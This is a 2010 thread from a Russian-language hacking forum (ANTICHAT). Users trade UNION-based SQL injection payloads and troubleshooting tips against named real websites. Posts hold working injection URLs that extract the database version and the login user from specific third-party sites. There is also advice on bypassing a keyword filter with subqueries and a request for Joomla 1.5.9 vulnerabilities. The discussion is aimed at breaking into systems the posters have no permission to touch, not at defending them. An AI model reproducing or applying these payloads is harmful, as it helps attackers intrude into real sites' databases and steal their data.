ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
30.11.2010, 15:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
191387
Репутация:
6
|
|
Делаю запрос
Сообщение от None
id=2'+union+select+1--
Выходит такая ошибка:
Warning: array_merge() [function.array-merge]: Argument #2 is not an array
Если делаю так
Сообщение от None
id=2+union+select+1--
Отображается страница с записями
если перед 2 минус ставлю
Сообщение от None
id=-2+union+select+1--
getData: Incorrect table name '' SQL=SELECT DISTINCT `` AS blabla FROM `` LIMIT 0, 10
Какой запрос сформировать?
Интересно что даже если делаю 1,2,3,4 и т.д.
Сообщение от None
id=2+union+select+1,2,3,4--
данные отображаются
//обсуждение таких вопросов без указания линков, не эффективно..иногда даже без результата {модер} |
|
|
|
30.11.2010, 15:40
|
|
Guest
Сообщений: n/a
Провел на форуме:
1446
Репутация:
0
|
|
Что за сайт-то?
|
|
|
|
30.11.2010, 16:06
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
у меня вопрос
www.truvor.ru/news.php?%20id_new=-91+union+select%20+1,2,3,4,5,6,7,8,9
как вывисти какиенибуть данные если всегда отображается только текст?
|
|
|
|
30.11.2010, 16:08
|
|
Участник форума
Регистрация: 14.07.2008
Сообщений: 117
Провел на форуме:
792994
Репутация:
104
|
|
Сообщение от qaz
qaz said:
у меня вопрос
www.truvor.ru/news.php?%20id_new=-91+union+select%20+1,2,3,4,5,6,7,8,9
как вывисти какиенибуть данные если всегда отображается только текст?
Смотри в title
http://www.truvor.ru/news.php?id_new=-91+union+select+1,2,3,4,version(),6,7,8,9--
|
|
|
30.11.2010, 20:42
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Не получается вывести имя юзера.
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+user,null,null,null,null,null,null,null,null, null,null,null+from+sys.dual--
http://www.oeaw.ac.at/oeaw_servlet/e_PersonenDetailsGeneric?id=12361+and+1=0+union+se lect+sys.login_user,null,null,null,null,null,null, null,null,null,null,null+from+sys.dual--
|
|
|
|
01.12.2010, 04:56
|
|
Guest
Сообщений: n/a
Провел на форуме:
1885
Репутация:
0
|
|
хи алл! народ помогите с Joomla 1.5.9 - сил ужо нет( ,какие у него дыры , хотяб статейку подкинте.
спс)
|
|
|
|
01.12.2010, 07:14
|
|
Guest
Сообщений: n/a
Провел на форуме:
191387
Репутация:
6
|
|
Делаю запрос
Сообщение от None
-5+union+select+1,version()--
Все отлично показывает
А на вот такой
Сообщение от None
-5+union+select+1,version()+from+users--
говорит
Сообщение от None
Bad Request
Your browser sent a request that this server could not understand.
Как я понял тут фильтруется from или набодобие того как это обойти? |
|
|
|
01.12.2010, 09:50
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от apoclepsis
apoclepsis said:
хи алл! народ помогите с Joomla 1.5.9 - сил ужо нет( ,какие у него дыры , хотяб статейку подкинте.
спс)
а погуглить влом?
|
|
|
|
01.12.2010, 09:53
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от noviyuser
noviyuser said:
Делаю запрос
Все отлично показывает
А на вот такой
говорит
Как я понял тут фильтруется from или набодобие того как это обойти?
попробуй указать базу где находится табличка users, если и так не сканает то скорее всего фильтр на from, попробуй подзапросами...
|
|
|
|
01.12.2010, 10:07
|
|
Guest
Сообщений: n/a
Провел на форуме:
191387
Репутация:
6
|
|
Сообщение от Gorev
Gorev said:
попробуй указать базу где находится табличка users, если и так не сканает то скорее всего фильтр на from, попробуй подзапросами...
Табличку указывал не проканало, а как подзапросы делать можно примерчик?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
